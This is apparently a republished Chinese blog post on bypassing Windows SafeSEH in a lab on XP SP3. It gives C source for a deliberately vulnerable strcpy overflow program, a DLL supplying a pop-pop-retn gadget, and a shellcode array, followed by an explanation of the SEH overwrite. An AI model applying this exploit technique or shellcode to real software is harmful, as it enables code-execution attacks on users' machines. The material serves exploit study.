利用未启用 SafeSEH 模块绕过 SafeSEH

Posted amliaw4

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用未启用 SafeSEH 模块绕过 SafeSEH相关的知识,希望对你有一定的参考价值。

环境:

xp ps3
VS 2008 release版本, 禁用优化
IDA
OD

参考:

http://blog.csdn.net/qq_19550513/article/details/64439930
https://www.52pojie.cn/forum.php?mod=viewthread&tid=495857
《0day2》11.5


代码:

// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved){
    return TRUE;
}
void jump(){
__asm{
        pop eax
        pop eax
        retn
        }
}

#include"stdafx.h"
#include<string.h>
#include<windows.h>
char shellcode[]=
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
            "\\x90x90\\x90\\x90\\x90\\x90\\xeb\\x0e""\\x90\\x90"
            "\\xB6\\x11\\x12\\x11"//address of pop pop retn in No_SafeSEH module   0x111211B6
            "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90" 
            "\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C" 
            "\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53" 
            "\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B" 
            "\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95" 
            "\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59" 
            "\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A" 
            "\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75" 
            "\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03"
            "\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB" 
            "\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50" 
            "\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8";
DWORD MyException(void){
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input){
    char str[200];
    strcpy(str,input);
    int zero=0;
    __try {
        zero=1/zero;
    }
    __except(MyException()){
    }
}

int main(int argc, _TCHAR* argv[]){
    HINSTANCE hInst = LoadLibrary(TEXT("1.dll"));
    char str[200];
    test(shellcode);
    return 0;
}

思路:

使用VC6 编译 1.DLL , 在其中找到未开启 safeSEH 的跳板 在主程序中绕过safeSEH
函数 test 中有 strcpy() 栈溢出, 使其覆盖 SEH 异常处理函数地址,使其指向 跳板(1.DLL中未开启safeSEH) , 使其指向shellcode。


看点1:

在进入__try时会破坏shellcode , 不会影响shellcode的逻辑,
技术分享图片
但在调试时发现,被__try破坏的地方 影响了程序执行流程 , 无法执行shellcode。
技术分享图片

解决办法:
http://blog.csdn.net/qq_19550513/article/details/64439930

使用了段跳板:
短转移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E
0xeb => jmp

跳板:
\\xeb\\x0e\\x90\\x90

看点2:

我们选择pop pop retn的原因是,在进入异常函数处理之时,栈的情况是 esp +8 的位置保存了处理该异常的 SEH 节点首地址 0x0012FE90 ,那为什么这个地址会入栈呢?

简单地讲,在通过 SEH 进行异常处理的时候,会先把当前 SEH 节点的首地址,也就是 nextSEH 的指针压入栈( 正常情况下,如果第一个节点无法处理该异常,转向下一节点),然后压进去两个现场相关的参数。所以两次 pop 之后,retn 指令赋值给 eip 的内容自然是当前 SEH 节点的首地址 0x0012FE90 了。














以上是关于利用未启用 SafeSEH 模块绕过 SafeSEH的主要内容,如果未能解决你的问题,请参考以下文章

利用加载模块之外的地址绕过 SafeSEH

Visual Studioerror LNK2026: 模块对于 SAFESEH 映像是不安全的(转)

内存保护机制及绕过方案——从堆中绕过safeSEH

zlib match686.obj : error LNK2026 SAFESEH

如何使用 mingw 在代码块中的 exe 上启用 ASLR、DEP 和 SafeSEH?

VS2013模块对于SAFESEH映像是不安全的解决方法